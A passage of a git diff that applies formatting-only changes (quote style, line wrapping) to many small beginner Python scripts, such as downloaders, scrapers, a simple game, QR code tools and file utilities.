req.get(BASE_URL + str(i) + '/1080/') - soup = bs(r.text, 'html.parser') + r = req.get(BASE_URL + str(i) + "/1080/") + soup = bs(r.text, "html.parser") link_ = [] - for link in soup.find_all('a'): - if '.mkv' in link.get('href'): - link_.append(BASE_URL + str(i) + '/1080/' + link.get('href')) - if not os.path.exists('season' + str(i)): - os.makedirs('season' + str(i)) + for link in soup.find_all("a"): + if ".mkv" in link.get("href"): + link_.append(BASE_URL + str(i) + "/1080/" + link.get("href")) + if not os.path.exists("season" + str(i)): + os.makedirs("season" + str(i)) download_files(link_, i) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/pscheck.py b/pscheck.py index 0954aef6a78..36019a22b4d 100644 --- a/pscheck.py +++ b/pscheck.py @@ -28,12 +28,23 @@ def ps(): proginfo = string.split(output) # display results - print("\n\ - Full path:\t\t", proginfo[5], "\n\ - Owner:\t\t\t", proginfo[0], "\n\ - Process ID:\t\t", proginfo[1], "\n\ - Parent process ID:\t", proginfo[2], "\n\ - Time started:\t\t", proginfo[4]) + print( + "\n\ + Full path:\t\t", + proginfo[5], + "\n\ + Owner:\t\t\t", + proginfo[0], + "\n\ + Process ID:\t\t", + proginfo[1], + "\n\ + Parent process ID:\t", + proginfo[2], + "\n\ + Time started:\t\t", + proginfo[4], + ) except: print("There was a problem with the program.") @@ -45,5 +56,5 @@ def main(): print("You need to be on Linux or Unix to run this") -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/psunotify.py b/psunotify.py index 7c4f04dd0aa..5e95769a916 100644 --- a/psunotify.py +++ b/psunotify.py @@ -6,13 +6,19 @@ import urllib2 br = mechanize.Browser() -br.addheaders = [('User-Agent', - 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')] +br.addheaders = [ + ( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36", + ) +] br.set_handle_robots(False) # For page exploration -page = input('Enter Page No:') +page = input("Enter Page No:") # print type(page) -p = urllib2.Request('https://www.google.co.in/search?q=gate+psu+2017+ext:pdf&start=' + page) +p = urllib2.Request( + "https://www.google.co.in/search?q=gate+psu+2017+ext:pdf&start=" + page +) ht = br.open(p) text = '(.+?)' patt = re.compile(text) @@ -34,10 +40,13 @@ r = urllib2.urlopen(url) else: r = urllib2.urlopen("http://" + url) - file = open('psu2' + q + '.pdf', 'wb') + file = open("psu2" + q + ".pdf", "wb") file.write(r.read()) file.close() print("Done") except urllib2.URLError as e: - print("Sorry there exists a problem with this URL Please Download this Manually " + str(url)) + print( + "Sorry there exists a problem with this URL Please Download this Manually " + + str(url) + ) diff --git a/puttylogs.py b/puttylogs.py index 3a6ebba6405..6e4c67a4784 100644 --- a/puttylogs.py +++ b/puttylogs.py @@ -5,7 +5,7 @@ # Version : 1.2 # Modifications : 1.1 - Added the variable zip_program so you can set it for the zip program on whichever OS, so to run on a different OS just change the locations of these two variables. -# : 1.2 - 29-02-12 - CR - Added shutil module and added one line to move the zipped up logs to the zipped_logs directory +# : 1.2 - 29-02-12 - CR - Added shutil module and added one line to move the zipped up logs to the zipped_logs directory # Description : Zip up all the logs in the given directory @@ -19,9 +19,14 @@ for files in os.listdir(logsdir): # Find all the files in the directory if files.endswith(".log"): # Check to ensure the files in the directory end in .log - files1 = files + "." + strftime( - "%Y-%m-%d") + ".zip" # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension + files1 = ( + files + "." + strftime("%Y-%m-%d") + ".zip" + ) # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension os.chdir(logsdir) # Change directory to the logsdir - os.system(zip_program + " " + files1 + " " + files) # Zip the logs into dated zip files for each server. - 1.1 - shutil.move(files1, zipdir) # Move the zipped log files to the zipped_logs directory - 1.2 + os.system( + zip_program + " " + files1 + " " + files + ) # Zip the logs into dated zip files for each server. - 1.1 + shutil.move( + files1, zipdir + ) # Move the zipped log files to the zipped_logs directory - 1.2 os.remove(files) # Remove the original log files diff --git a/pyauto.py b/pyauto.py index 866b46a7431..7f9a19e0e77 100644 --- a/pyauto.py +++ b/pyauto.py @@ -1,5 +1,5 @@ -#Author-Slayking1965 -#email-kingslayer8509@gmail.com +# Author-Slayking1965 +# email-kingslayer8509@gmail.com import random import pyautogui import string @@ -15,11 +15,11 @@ guess_password = "" -while(guess_password != password): +while guess_password != password: guess_password = random.choices(chars_list, k=len(password)) - print("<=================="+ str(guess_password)+ "==================>") + print("<==================" + str(guess_password) + "==================>") - if(guess_password == list(password)): - print("Your password is : "+ "".join(guess_password)) + if guess_password == list(password): + print("Your password is : " + "".join(guess_password)) break diff --git a/pygame.py b/pygame.py index e7b11b34fda..d35a34b0ee4 100644 --- a/pygame.py +++ b/pygame.py @@ -10,68 +10,68 @@ import random import time -choices = {'S':'Snake','W':'Water','G':'Gun'} +choices = {"S": "Snake", "W": "Water", "G": "Gun"} x = 0 com_win = 0 user_win = 0 match_draw = 0 -print('Welcome to the Snake-Water-Gun Game\n') -print('I am Mr. Computer, We will play this game 10 times') -print('Whoever wins more matches will be the winner\n') +print("Welcome to the Snake-Water-Gun Game\n") +print("I am Mr. Computer, We will play this game 10 times") +print("Whoever wins more matches will be the winner\n") while x < 10: - print(f'Game No. {x+1}') + print(f"Game No. {x+1}") for key, value in choices.items(): - print(f'Choose {key} for {value}') + print(f"Choose {key} for {value}") com_choice = random.choice(list(choices.keys())).lower() - user_choice = input('\n----->').lower() + user_choice = input("\n----->").lower() - if user_choice == 's' and com_choice == 'w': + if user_choice == "s" and com_choice == "w": com_win += 1 - elif user_choice == 's' and com_choice == 'g': + elif user_choice == "s" and com_choice == "g": com_win += 1 - elif user_choice == 'w' and com_choice == 's': + elif user_choice == "w" and com_choice == "s": user_win += 1 - elif user_choice == 'g' and com_choice == 's': + elif user_choice == "g" and com_choice == "s": user_win += 1 - elif user_choice == 'g' and com_choice == 'w': + elif user_choice == "g" and com_choice == "w": com_win += 1 - elif user_choice == 'w' and com_choice == 'g': + elif user_choice == "w" and com_choice == "g": user_win += 1 elif user_choice == com_choice: match_draw += 1 else: - print('\n\nYou entered wrong !!!!!!') + print("\n\nYou entered wrong !!!!!!") x = 0 - print('Restarting the game') - print('') + print("Restarting the game") + print("") time.sleep(1) continue x += 1 - print('\n') + print("\n") -print('Here are final stats of the 10 matches : ') -print(f'Mr. Computer won : {com_win} matches') -print(f'You won : {user_win} matches') -print(f'Matches Drawn : {match_draw}') +print("Here are final stats of the 10 matches : ") +print(f"Mr. Computer won : {com_win} matches") +print(f"You won : {user_win} matches") +print(f"Matches Drawn : {match_draw}") if com_win > user_win: - print('\n-------Mr. Computer won-------') + print("\n-------Mr. Computer won-------") elif com_win < user_win: - print('\n-----------You won-----------') + print("\n-----------You won-----------") else: - print('\n----------Match Draw----------') + print("\n----------Match Draw----------") diff --git a/pyhton_array.py b/pyhton_array.py index ca47de96804..c2ff9b982f3 100644 --- a/pyhton_array.py +++ b/pyhton_array.py @@ -1,8 +1,8 @@ from array import * -array1 = array('i', [10,20,30,40,50]) +array1 = array("i", [10, 20, 30, 40, 50]) array1[2] = 80 for x in array1: - print(x) + print(x) diff --git a/pythagoreanTriplets.py b/pythagoreanTriplets.py index 55b146ea78f..1e9ff955ea7 100644 --- a/pythagoreanTriplets.py +++ b/pythagoreanTriplets.py @@ -1,14 +1,14 @@ -limit=int(input("Enter upper limit:")) -c=0 -m=2 -while(climit): +limit = int(input("Enter upper limit:")) +c = 0 +m = 2 +while c < limit: + for n in range(1, m + 1): + a = m * m - n * n + b = 2 * m * n + c = m * m + n * n + if c > limit: break - if(a==0 or b==0 or c==0): + if a == 0 or b == 0 or c == 0: break - print(a,b,c) - m=m+1 + print(a, b, c) + m = m + 1 diff --git a/pythonVideoDownloader.py b/pythonVideoDownloader.py index bb0a3782637..7bae8eac998 100644 --- a/pythonVideoDownloader.py +++ b/pythonVideoDownloader.py @@ -1,13 +1,13 @@ import requests from bs4 import BeautifulSoup -''' +""" URL of the archive web-page which provides link to all video lectures. It would have been tiring to download each video manually. In this example, we first crawl the webpage to extract all the links and then download videos. -''' +""" # specify the URL of the archive here archive_url = "http://www-personal.umich.edu/~csev/books/py4inf/media/" @@ -18,13 +18,15 @@ def get_video_links(): r = requests.get(archive_url) # create beautiful-soup object - soup = BeautifulSoup(r.content, 'html5lib') + soup = BeautifulSoup(r.content, "html5lib") # find all links on web-page - links = soup.findAll('a') + links = soup.findAll("a") # filter the link sending with .mp4 - video_links = [archive_url + link['href'] for link in links if link['href'].endswith('mp4')] + video_links = [ + archive_url + link["href"] for link in links if link["href"].endswith("mp4") + ] return video_links @@ -32,12 +34,12 @@ def get_video_links(): def download_video_series(video_links): for link in video_links: - '''iterate through all links in video_links - and download them one by one''' + """iterate through all links in video_links + and download them one by one""" - # obtain filename by splitting url and getting + # obtain filename by splitting url and getting # last string - file_name = link.split('/')[-1] + file_name = link.split("/")[-1] print("Downloading the file:%s" % file_name) @@ -45,7 +47,7 @@ def download_video_series(video_links): r = requests.get(link, stream=True) # download started - with open(file_name, 'wb') as f: + with open(file_name, "wb") as f: for chunk in r.iter_content(chunk_size=1024 * 1024): if chunk: f.write(chunk) diff --git a/python_sms.py b/python_sms.py index 0b6ac3da2a6..356df81bdea 100644 --- a/python_sms.py +++ b/python_sms.py @@ -17,16 +17,16 @@ dropbox = os.getenv("dropbox") scripts = os.getenv("scripts") -dbfile = ("database/maindatabase.db") +dbfile = "database/maindatabase.db" master_db = os.path.join(dropbox, dbfile) -f = open(scripts + '/output/student.txt', 'a') +f = open(scripts + "/output/student.txt", "a") tdate = strftime("%d-%m") conn = sqlite3.connect(master_db) cursor = conn.cursor() -loc_stmt = 'SELECT name, number from table' +loc_stmt = "SELECT name, number from table" cursor.execute(loc_stmt) while True: row = cursor.fetchone() @@ -36,14 +36,18 @@ snumber = row[1] message = ( - sname + ' There will be NO training tonight on the ' + tdate + ' Sorry for the late notice, I have sent a mail as well, just trying to reach everyone, please do not reply to this message as this is automated') + sname + + " There will be NO training tonight on the " + + tdate + + " Sorry for the late notice, I have sent a mail as well, just trying to reach everyone, please do not reply to this message as this is automated" + ) - username = 'YOUR_USERNAME' - sender = 'WHO_IS_SENDING_THE_MAIL' + username = "YOUR_USERNAME" + sender = "WHO_IS_SENDING_THE_MAIL" - hash = 'YOUR HASH YOU GET FROM YOUR ACCOUNT' + hash = "YOUR HASH YOU GET FROM YOUR ACCOUNT" - numbers = (snumber) + numbers = snumber # Set flag to 1 to simulate sending, this saves your credits while you are testing your code. # To send real message set this flag to 0 test_flag = 0 @@ -52,26 +56,30 @@ # No need to edit anything below this line # ----------------------------------- - values = {'test': test_flag, - 'uname': username, - 'hash': hash, - 'message': message, - 'from': sender, - 'selectednums': numbers} + values = { + "test": test_flag, + "uname": username, + "hash": hash, + "message": message, + "from": sender, + "selectednums": numbers, + } - url = 'http://www.txtlocal.com/sendsmspost.php' + url = "http://www.txtlocal.com/sendsmspost.php" postdata = urllib.urlencode(values) req = urllib2.Request(url, postdata) - print('Attempting to send SMS to ' + sname + ' at ' + snumber + ' on ' + tdate) - f.write('Attempting to send SMS to ' + sname + ' at ' + snumber + ' on ' + tdate + '\n') + print("Attempting to send SMS to " + sname + " at " + snumber + " on " + tdate) + f.write( + "Attempting to send SMS to " + sname + " at " + snumber + " on " + tdate + "\n" + ) try: response = urllib2.urlopen(req) response_url = response.geturl() if response_url == url: - print('SMS sent!') + print("SMS sent!") except urllib2.URLError as e: - print('Send failed!') + print("Send failed!") print(e.reason) diff --git a/qrcode.py b/qrcode.py index 0afef3457ee..dde9a035ac4 100644 --- a/qrcode.py +++ b/qrcode.py @@ -1,7 +1,7 @@ -#importing Required Modules +# importing Required Modules import qrcode -#QR Code Generator -query = input("Enter Content: ") #Enter Content -code = qrcode.make(str(query)) #Making the QR code -code.save("qrcode.png") #Saving the QR code file \ No newline at end of file +# QR Code Generator +query = input("Enter Content: ") # Enter Content +code = qrcode.make(str(query)) # Making the QR code +code.save("qrcode.png") # Saving the QR code file diff --git a/qrdecoder.py b/qrdecoder.py index 38b6cbc3a34..a1759f84112 100644 --- a/qrdecoder.py +++ b/qrdecoder.py @@ -1,11 +1,11 @@ -#Importing Required Modules +# Importing Required Modules import cv2 -#QR Code Decoder +# QR Code Decoder filename = input() -image = cv2.imread(filename) #Enter name of the image +image = cv2.imread(filename) # Enter name of the image detector = cv2.QRCodeDetector() data, vertices_array, binary_qrcode = detector.detectAndDecode(image) -if vertices_array is not None: - print(data) +if vertices_array is not None: + print(data) diff --git a/quote.py b/quote.py index caa5cdb3aef..ed3b1b1317f 100644 --- a/quote.py +++ b/quote.py @@ -1,18 +1,22 @@ # Sends inspirational quotes to the user using Zen Quotes API # Format -''' +""" example quote -Quote Author Name -''' +""" import requests from json import loads + def return_quote(): - response = requests.get("https://zenquotes.io/api/random") - json_data = loads(response.text) - quote = json_data[0]['q'] + " -" + json_data[0]['a'] #aligning the quote and it's author name in one string - return quote + response = requests.get("https://zenquotes.io/api/random") + json_data = loads(response.text) + quote = ( + json_data[0]["q"] + " -" + json_data[0]["a"] + ) # aligning the quote and it's author name in one string + return quote + quote = return_quote() print(quote) diff --git a/random-sentences.py b/random-sentences.py index ab42f188f41..3e6e8baacb7 100644 --- a/random-sentences.py +++ b/random-sentences.py @@ -19,13 +19,16 @@ def random_int(): def random_sentence(): """Creates random and return sentences.""" - return ("{} {} {} {} {} {}" - .format(article[random_int()] - , noun[random_int()] - , verb[random_int()] - , preposition[random_int()] - , article[random_int()] - , noun[random_int()])).capitalize() + return ( + "{} {} {} {} {} {}".format( + article[random_int()], + noun[random_int()], + verb[random_int()], + preposition[random_int()], + article[random_int()], + noun[random_int()], + ) + ).capitalize() # prints random sentences diff --git a/random_file_move.py b/random_file_move.py index 9e735bbc2a7..f8a2af7704e 100644 --- a/random_file_move.py +++ b/random_file_move.py @@ -9,26 +9,43 @@ import os, random import argparse + def check_ratio(x): - try: - x = float(x) - except ValueError: - raise argparse.ArgumentTypeError("%r not a floating-point literal" % (x,)) - - if (x < 0.0 or x > 1.0): - raise argparse.ArgumentTypeError("%r not in range [0.0, 1.0]" % (x)) - return x - -desc = 'Script to move specified number of files(given in ratio) from the src directory to dest directory.' -usage = 'python random_file_move.py -src [SRC] -dest [DEST] -ratio [RATIO]' - -parser = argparse.ArgumentParser(usage = usage, description = desc) -parser.add_argument('-src', '--src', type = str, required = True, - help = '(REQUIRED) Path to directory from which we cut files. Space not allowed in path.') -parser.add_argument('-dest', '--dest', type = str, required = True, - help = '(REQUIRED) Path to directory to which we move files. Space not allowed in path.') -parser.add_argument('-ratio', '--ratio', type = check_ratio, required = True, - help = "(REQUIRED) Ratio of files in 'src' and 'dest' directory.") + try: + x = float(x) + except ValueError: + raise argparse.ArgumentTypeError("%r not a floating-point literal" % (x,)) + + if x < 0.0 or x > 1.0: + raise argparse.ArgumentTypeError("%r not in range [0.0, 1.0]" % (x)) + return x + + +desc = "Script to move specified number of files(given in ratio) from the src directory to dest directory." +usage = "python random_file_move.py -src [SRC] -dest [DEST] -ratio [RATIO]" + +parser = argparse.ArgumentParser(usage=usage, description=desc) +parser.add_argument( + "-src", + "--src", + type=str, + required=True, + help="(REQUIRED) Path to directory from which we cut files. Space not allowed in path.", +) +parser.add_argument( + "-dest", + "--dest", + type=str, + required=True, + help="(REQUIRED) Path to directory to which we move files. Space not allowed in path.", +) +parser.add_argument( + "-ratio", + "--ratio", + type=check_ratio, + required=True, + help="(REQUIRED) Ratio of files in 'src' and 'dest' directory.", +) args = parser.parse_args() @@ -39,13 +56,13 @@ def check_ratio(x): files = os.listdir(src) size = int(ratio * len(files)) -print('Move {} files from {} to {} ? [y/n]'.format(size, src, dest)) -if input().lower() == 'y': - for f in random.sample(files, size): - try: - os.rename(os.path.join(src, f), os.path.join(dest, f)) - except Exception as e: - print(e) - print('Successful') +print("Move {} files from {} to {} ? [y/n]".format(size, src, dest)) +if input().lower() == "y": + for f in random.sample(files, size): + try: + os.rename(os.path.join(src, f), os.path.join(dest, f)) + except Exception as e: + print(e) + print("Successful") else: - print('Cancelled') + print("Cancelled") diff --git a/randomloadingmessage.py b/randomloadingmessage.py index cc49d9fa05c..71654d249b0 100644 --- a/randomloadingmessage.py +++ b/randomloadingmessage.py @@ -24,7 +24,9 @@ if num == 8: print("Have a good day.") if num == 9: - print("Upgrading Windows, your PC will restart several times. Sit back and relax.") + print( + "Upgrading Windows, your PC will restart several times. Sit back and relax." + ) if num == 10: print("The architects are still drafting.") if num == 11: diff --git a/read_excel_file.py b/read_excel_file.py index 2195cabc55a..1b28532d8a7 100644 --- a/read_excel_file.py +++ b/read_excel_file.py @@ -2,7 +2,7 @@ import xlrd # Give the location of the file -loc = ("sample.xlsx") +loc = "sample.xlsx" wb = xlrd.open_workbook(loc) sheet = wb.sheet_by_index(0) sheet.cell_value(0, 0) diff --git a/rearrange-files/rearrange-files.py b/rearrange-files/rearrange-files.py index 2a6d13e7577..5d12baec51f 100644 --- a/rearrange-files/rearrange-files.py +++ b/rearrange-files/rearrange-files.py @@ -21,17 +21,23 @@ def make_folder_and_return_name(self, foldername): def check_folder_existance(self): for i in range(len(self.list_of_all_files)): - if self.list_of_all_files[i].endswith('.pdf'): - if os.path.exists('pdfs'): - shutil.move(self.folder_path + '/' + self.list_of_all_files[i], self.folder_path + '/pdfs') + if self.list_of_all_files[i].endswith(".pdf"): + if os.path.exists("pdfs"): + shutil.move( + self.folder_path + "/" + self.list_of_all_files[i], + self.folder_path + "/pdfs", + ) else: - os.mkdir('pdfs') - - elif self.list_of_all_files[i].endswith('jpg'): - if os.path.exists('jpgs'): - shutil.move(self.folder_path + '/' + self.list_of_all_files[i], self.folder_path + '/jpgs') + os.mkdir("pdfs") + + elif self.list_of_all_files[i].endswith("jpg"): + if os.path.exists("jpgs"): + shutil.move( + self.folder_path + "/" + self.list_of_all_files[i], + self.folder_path + "/jpgs", + ) else: - os.mkdir('jpgs') + os.mkdir("jpgs") if __name__ == "__main__": diff --git a/recursive-fibonacci.py b/recursive-fibonacci.py index 2ee48a460bc..5b769db6a70 100644 --- a/recursive-fibonacci.py +++ b/recursive-fibonacci.py @@ -1,5 +1,5 @@ def fib(n): - if n == 0 or n == 1: - return n - else: - return(fib(n-1) + fib(n-2)) + if n == 0 or n == 1: + return n + else: + return fib(n - 1) + fib(n - 2) diff --git a/rook.py b/rook.py index a15bfee3723..99b9b9cb6e9 100644 --- a/rook.py +++ b/rook.py @@ -1,20 +1,18 @@ start = [0, 0] end = [7, 7] -taken = [ - [1, 0], [1, 1], [1, 2], [1, 3] -] +taken = [[1, 0], [1, 1], [1, 2], [1, 3]] queue = [] queue.append([start[0], start[1], -1]) visited = [] maze = [] for i in range(8): - maze.append(['.', '.', '.', '.', '.', '.', '.', '.']) + maze.append([".", ".", ".", ".", ".", ".", ".", "."]) visited.append([0, 0, 0, 0, 0, 0, 0, 0]) -maze[start[0]][start[1]] = 'S' -maze[end[0]][end[1]] = 'E' +maze[start[0]][start[1]] = "S" +maze[end[0]][end[1]] = "E" for i in taken: - maze[i[0]][i[1]] = 'X' -while (len(queue) > 0): + maze[i[0]][i[1]] = "X" +while len(queue) > 0: point = queue.pop(0) if end[0] == point[0] and end[1] == point[1]: print(point[2] + 1) @@ -45,5 +43,5 @@ for i in maze: for j in i: - print(j, end=' ') + print(j, end=" ") print() diff --git a/rotate_string.py b/rotate_string.py index b06b0cb35db..ca1bc0babd0 100644 --- a/rotate_string.py +++ b/rotate_string.py @@ -1,21 +1,24 @@ -def left_rotate(s,val): - s1 = s[0:val] - s2 = s[val:] - return s2+s1 +def left_rotate(s, val): + s1 = s[0:val] + s2 = s[val:] + return s2 + s1 + + +def right_rotate(s, val): + s1 = s[0 : len(s) - val] + s2 = s[len(s) - val :] + return s2 + s1 -def right_rotate(s,val): - s1 = s[0:len(s)-val] - s2 = s[len(s)-val:] - return s2+s1 def circular_rotate(s): - s = list(s) - idx = 0 - mid = len(s)//2 - for i in reversed(range(mid,len(s))): - s[idx],s[i] = s[i],s[idx] - idx += 1 - return s + s = list(s) + idx = 0 + mid = len(s) // 2 + for i in reversed(range(mid, len(s))): + s[idx], s[i] = s[i], s[idx] + idx += 1 + return s + -s = 'aditya' -print(''.join(circular_rotate(s))) +s = "aditya" +print("".join(circular_rotate(s))) diff --git a/rotatelist.py b/rotatelist.py index ab5965e565a..9603b0434a1 100644 --- a/rotatelist.py +++ b/rotatelist.py @@ -1,6 +1,6 @@ N = int(input("Enter The Size Of Array")) list = [] -for i in range(0,N): +for i in range(0, N): temp = int(input("Enter The Intger Numbers")) list.append(temp) @@ -13,9 +13,8 @@ d = int(input("Enter The Number Of Times You Want To Rotate The Array")) for i in range(0, N): - finalList.append(list[(i+d)%N]) + finalList.append(list[(i + d) % N]) print(finalList) # This Method holds the timeComplexity of O(N) and Space Complexity of O(N) - diff --git a/sWAP_cASE.py b/sWAP_cASE.py index 09b9a70b2eb..f3c21d55ad9 100644 --- a/sWAP_cASE.py +++ b/sWAP_cASE.py @@ -1,9 +1,11 @@ # You are given a string and your task is to swap cases. In other words, convert all lowercase letters to uppercase letters and vice versa. + def swap_case(s): return s.swapcase() -if __name__ == '__main__': + +if __name__ == "__main__": s = input() result = swap_case(s) - print(result) \ No newline at end of file + print(result) diff --git a/scrap_file.py b/scrap_file.py index da65143fb67..7655e792cbe 100644 --- a/scrap_file.py +++ b/scrap_file.py @@ -8,8 +8,11 @@ # Function for download file parameter taking as url + def download(url): - f = open('file_name.jpg', 'wb') # opening file in write binary('wb') mode with file_name.ext ext=extension + f = open( + "file_name.jpg", "wb" + ) # opening file in write binary('wb') mode with file_name.ext ext=extension f.write(requests.get(url).content) # Writing File Content in file_name.jpg f.close() print("Succesfully Downloaded") @@ -20,16 +23,16 @@ def download_2(url): try: response = requests.get(url) except Exception: - print('Failed Download!') + print("Failed Download!") else: if response.status_code == 200: - with open('file_name.jpg', 'wb') as f: + with open("file_name.jpg", "wb") as f: f.write(requests.get(url).content) print("Succesfully Downloaded") else: - print('Failed Download!') + print("Failed Download!") -url = 'https://avatars0.githubusercontent.com/u/29729380?s=400&v=4' # URL from which we want to download +url = "https://avatars0.githubusercontent.com/u/29729380?s=400&v=4" # URL from which we want to download download(url) diff --git a/script_count.py b/script_count.py index 77bff23086d..b7a2a0164b8 100644 --- a/script_count.py +++ b/script_count.py @@ -8,69 +8,92 @@ # Last Modified : 20th July 2012 # Version : 1.3 # Modifications : 1.1 - 28-02-2012 - CR - Changed inside github and development functions, so instead of if os.name = "posix" do this else do this etc -# : I used os.path.join, so it condensed 4 lines down to 1 -# : 1.2 - 10-05-2012 - CR - Added a line to include PHP scripts. -# : 1.3 - 20-07-2012 - CR - Added the line to include Batch scripts +# : I used os.path.join, so it condensed 4 lines down to 1 +# : 1.2 - 10-05-2012 - CR - Added a line to include PHP scripts. +# : 1.3 - 20-07-2012 - CR - Added the line to include Batch scripts # Description : This scans my scripts directory and gives a count of the different types of scripts -path = os.getenv("scripts") # Set the variable path by getting the value from the OS environment variable scripts -dropbox = os.getenv("dropbox") # Set the variable dropbox by getting the value from the OS environment variable dropbox +path = os.getenv( + "scripts" +) # Set the variable path by getting the value from the OS environment variable scripts +dropbox = os.getenv( + "dropbox" +) # Set the variable dropbox by getting the value from the OS environment variable dropbox def clear_screen(): # Function to clear the screen if os.name == "posix": # Unix/Linux/MacOS/BSD/etc - os.system('clear') # Clear the Screen + os.system("clear") # Clear the Screen elif os.name in ("nt", "dos", "ce"): # DOS/Windows - os.system('CLS') # Clear the Screen + os.system("CLS") # Clear the Screen -def count_files(path, - extensions): # Start of the function to count the files in the scripts directory, it counts the extension when passed below +def count_files( + path, extensions +): # Start of the function to count the files in the scripts directory, it counts the extension when passed below counter = 0 # Set the counter to 0 - for root, dirs, files in os.walk(path): # Loop through all the directories in the given path + for root, dirs, files in os.walk( + path + ): # Loop through all the directories in the given path for file in files: # For all the files counter += file.endswith(extensions) # Count the files return counter # Return the count def github(): # Start of the function just to count the files in the github directory - github_dir = os.path.join(dropbox, 'github') # Joins the paths to get the github directory - 1.1 - github_count = sum((len(f) for _, _, f in os.walk(github_dir))) # Get a count for all the files in the directory - if github_count > 5: # If the number of files is greater then 5, then print the following messages - - print('\nYou have too many in here, start uploading !!!!!') - print('You have: ' + str(github_count) + ' waiting to be uploaded to github!!') + github_dir = os.path.join( + dropbox, "github" + ) # Joins the paths to get the github directory - 1.1 + github_count = sum( + (len(f) for _, _, f in os.walk(github_dir)) + ) # Get a count for all the files in the directory + if ( + github_count > 5 + ): # If the number of files is greater then 5, then print the following messages + + print("\nYou have too many in here, start uploading !!!!!") + print("You have: " + str(github_count) + " waiting to be uploaded to github!!") elif github_count == 0: # Unless the count is 0, then print the following messages - print('\nGithub directory is all Clear') + print("\nGithub directory is all Clear") else: # If it is any other number then print the following message, showing the number outstanding. - print('\nYou have: ' + str(github_count) + ' waiting to be uploaded to github!!') + print( + "\nYou have: " + str(github_count) + " waiting to be uploaded to github!!" + ) def development(): # Start of the function just to count the files in the development directory - dev_dir = os.path.join(path, 'development') # Joins the paths to get the development directory - 1.1 - dev_count = sum((len(f) for _, _, f in os.walk(dev_dir))) # Get a count for all the files in the directory - if dev_count > 10: # If the number of files is greater then 10, then print the following messages - - print('\nYou have too many in here, finish them or delete them !!!!!') - print('You have: ' + str(dev_count) + ' waiting to be finished!!') + dev_dir = os.path.join( + path, "development" + ) # Joins the paths to get the development directory - 1.1 + dev_count = sum( + (len(f) for _, _, f in os.walk(dev_dir)) + ) # Get a count for all the files in the directory + if ( + dev_count > 10 + ): # If the number of files is greater then 10, then print the following messages + + print("\nYou have too many in here, finish them or delete them !!!!!") + print("You have: " + str(dev_count) + " waiting to be finished!!") elif dev_count == 0: # Unless the count is 0, then print the following messages - print('\nDevelopment directory is all clear') + print("\nDevelopment directory is all clear") else: - print('\nYou have: ' + str( - dev_count) + ' waiting to be finished!!') # If it is any other number then print the following message, showing the number outstanding. + print( + "\nYou have: " + str(dev_count) + " waiting to be finished!!" + ) # If it is any other number then print the following message, showing the number outstanding. clear_screen() # Call the function to clear the screen -print('\nYou have the following :\n') -print('AutoIT:\t' + str( - count_files(path, '.au3'))) # Run the count_files function to count the files with the extension we pass -print('Batch:\t' + str(count_files(path, ('.bat', ',cmd')))) # 1.3 -print('Perl:\t' + str(count_files(path, '.pl'))) -print('PHP:\t' + str(count_files(path, '.php'))) # 1.2 -print('Python:\t' + str(count_files(path, '.py'))) -print('Shell:\t' + str(count_files(path, ('.ksh', '.sh', '.bash')))) -print('SQL:\t' + str(count_files(path, '.sql'))) +print("\nYou have the following :\n") +print( + "AutoIT:\t" + str(count_files(path, ".au3")) +) # Run the count_files function to count the files with the extension we pass +print("Batch:\t" + str(count_files(path, (".bat", ",cmd")))) # 1.3 +print("Perl:\t" + str(count_files(path, ".pl"))) +print("PHP:\t" + str(count_files(path, ".php"))) # 1.2 +print("Python:\t" + str(count_files(path, ".py"))) +print("Shell:\t" + str(count_files(path, (".ksh", ".sh", ".bash")))) +print("SQL:\t" + str(count_files(path, ".sql"))) github() # Call the github function development() # Call the development function diff --git a/script_listing.py b/script_listing.py index 2bed9daf2a0..d890616cd90 100644 --- a/script_listing.py +++ b/script_listing.py @@ -5,22 +5,34 @@ # Version : 1.2 # Modifications : 1.1 - 28-02-2012 - CR - Added the variable to get the logs directory, I then joined the output so the file goes to the logs directory -# : 1.2 - 29-05/2012 - CR - Changed the line so it doesn't ask for a directory, it now uses the environment varaible scripts +# : 1.2 - 29-05/2012 - CR - Changed the line so it doesn't ask for a directory, it now uses the environment varaible scripts # Description : This will list all the files in the given directory, it will also go through all the subdirectories as well import os # Load the library module -logdir = os.getenv("logs") # Set the variable logdir by getting the value from the OS environment variable logs -logfile = 'script_list.log' # Set the variable logfile -path = os.getenv("scripts") # Set the varable path by getting the value from the OS environment variable scripts - 1.2 +logdir = os.getenv( + "logs" +) # Set the variable logdir by getting the value from the OS environment variable logs +logfile = "script_list.log" # Set the variable logfile +path = os.getenv( + "scripts" +) # Set the varable path by getting the value from the OS environment variable scripts - 1.2 # path = (raw_input("Enter dir: ")) # Ask the user for the directory to scan -logfilename = os.path.join(logdir, logfile) # Set the variable logfilename by joining logdir and logfile together -log = open(logfilename, 'w') # Set the variable log and open the logfile for writing +logfilename = os.path.join( + logdir, logfile +) # Set the variable logfilename by joining logdir and logfile together +log = open(logfilename, "w") # Set the variable log and open the logfile for writing -for dirpath, dirname, filenames in os.walk(path): # Go through the directories and the subdirectories +for dirpath, dirname, filenames in os.walk( + path +): # Go through the directories and the subdirectories for filename in filenames: # Get all the filenames - log.write(os.path.join(dirpath, filename) + '\n') # Write the full path out to the logfile + log.write( + os.path.join(dirpath, filename) + "\n" + ) # Write the full path out to the logfile -print("\nYour logfile ", logfilename, "has been created") # Small message informing the user the file has been created +print( + "\nYour logfile ", logfilename, "has been created" +) # Small message informing the user the file has been created diff --git a/sendemail.py b/sendemail.py index 60dcedff7ff..12a01080ee7 100644 --- a/sendemail.py +++ b/sendemail.py @@ -14,18 +14,17 @@ from apiclient import errors, discovery from oauth2client import client, tools -SCOPES = 'https://www.googleapis.com/auth/gmail.send' -CLIENT_SECRET_FILE = 'client_secret.json' -APPLICATION_NAME = 'Gmail API Python Send Email' +SCOPES = "https://www.googleapis.com/auth/gmail.send" +CLIENT_SECRET_FILE = "client_secret.json" +APPLICATION_NAME = "Gmail API Python Send Email" def get_credentials(): - home_dir = os.path.expanduser('~') - credential_dir = os.path.join(home_dir, '.credentials') + home_dir = os.path.expanduser("~") + credential_dir = 